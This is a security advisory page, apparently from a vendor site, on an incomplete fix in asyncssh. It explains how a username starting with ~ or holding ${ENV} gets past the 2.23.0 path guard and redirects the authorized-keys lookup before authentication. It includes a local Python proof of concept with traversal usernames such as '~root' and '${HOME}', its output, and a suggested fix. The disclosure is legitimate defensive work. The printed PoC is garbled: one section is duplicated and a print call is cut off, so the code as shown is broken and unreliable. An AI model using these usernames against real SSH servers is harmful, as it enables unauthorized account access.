Summary
asyncssh has an incomplete fix for CVE-2026-45309, AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution
Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open, defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).
Summary
The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:
if self._user == '..' or '/' in self._user or '\\' in self._user:
raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 ,
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.
The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.
Primary vector, leading ~
A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u, e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys, the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator ,
defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example, %u not leading ,
is not reachable this way; that was the ../ form.)
Impact and limitations
- Demonstrated (verified against source at
a60f863): the guard is
bypassable and the authorized-keys lookup is redirected to an
attacker-named home tree, pre-auth, with a separator-free username. - Impact model = identical to CVE-2026-45309: authenticating as the
redirected username when a readable authorized-keys file containing
the attacker's key is reachable at the redirected location. The parent
CVE accepted this exact precondition and was scoredC:N/I:H/A:N;
this is scored consistently. - Not built: a live multi-account SSH auth harness; the PoC verifies
the path-redirection mechanism in-process, deterministically. No new
primitive is claimed beyond the parent CVE's accepted model, only
that the 2.23.0 fix does not close it for~/${ENV}. - Preconditions (captured by AC:H):
%umust be the leading path
component; on Python 3.13,Path('~nonexistentuser').expanduser()
raisesRuntimeError, so only existing accounts are reachable
(confirmed: asyncssh 2.23.0, Python 3.13.12).
Secondary vector, ${ENV} (defense-in-depth only)
A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.
Reproduction
In-process, deterministic, no network. Against a checkout of asyncssh
2.23.0:
cd /path/to/asyncssh
PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present)
literal-slash user '/etc' blocked: True
[A] tilde bypass user '~root':
guard blocks it? False (False == bypass)
expanded config value : ['~root/.ssh/authorized_keys']
after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys
VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
Suggested fix
Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion, reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.
Disclosure
Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.
PoC source
(see code block below)
#!/usr/bin/env python3
"""
PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
SSHServerConfig._set_tokens that rejects a client username containing
'/', '\\', or equal to '..' before it is substituted for the %u token in
the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run
through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser(), it lets
a separator-free username (e.g. '~root') escape to another home tree when %u
is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
only REFERENCE env vars that already exist on the server and cannot control
their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
illustrate the expansion, and does NOT represent attacker capability. Treat (1)
as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.:
cd /tmp/targets/asyncssh && python3 <thisfile>
"""
import os
import sys
import tempfile
from pathlib import Path
import asyncssh
from asyncssh.config import SSHServerConfig
try:
from asyncssh.misc import IllegalUserName
except Exception: # pragma: no cover
IllegalUserName = asyncssh.IllegalUserName
def expand_authkeys(user, cfg_text):
"""Load a server config exactly as SSHServerConnection does and return the
expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
CVE-2026-45309 guard fires."""
with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
f.write(cfg_text)
cfg_path = f.name
try:
# mirror connection.py:8897
# SSHServerConfig.load(last_config, config, reload, canonical, final,
# accept_addr, accept_port, username,
# client_host, client_addr)
cfg = SSHServerConfig.load(
None, cfg_path, True, False, False,
"127.0.0.1", 22, user, "client.example", "203.0.113.7",
)
return cfg.get("AuthorizedKeysFile")
finally:
os.unlink(cfg_path)
def guard_blocks(user, cfg_text):
"""Return True if the CVE-2026-45309 guard rejects this username."""
try:
expand_authkeys(user, cfg_text)
return False
except IllegalUserName:
return True
def main():
print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})")
print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally -----------------------
cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
val = expand_authkeys("alice", cfg)
print(f"[0] benign user 'alice': {val}")
results.append(("benign expands to per-user path",
val == ["/etc/ssh/authorized_keys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
Impact
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-54590 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.23.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-54590? CVE-2026-54590 is a medium-severity path traversal vulnerability in asyncssh (pip), affecting versions <= 2.23.0. It is fixed in 2.23.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-54590? CVE-2026-54590 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of asyncssh are affected by CVE-2026-54590? asyncssh (pip) versions <= 2.23.0 is affected.
- Is there a fix for CVE-2026-54590? Yes. CVE-2026-54590 is fixed in 2.23.1. Upgrade to this version or later.
- Is CVE-2026-54590 exploitable, and should I be worried? Whether CVE-2026-54590 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54590 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54590? Upgrade
asyncsshto 2.23.1 or later.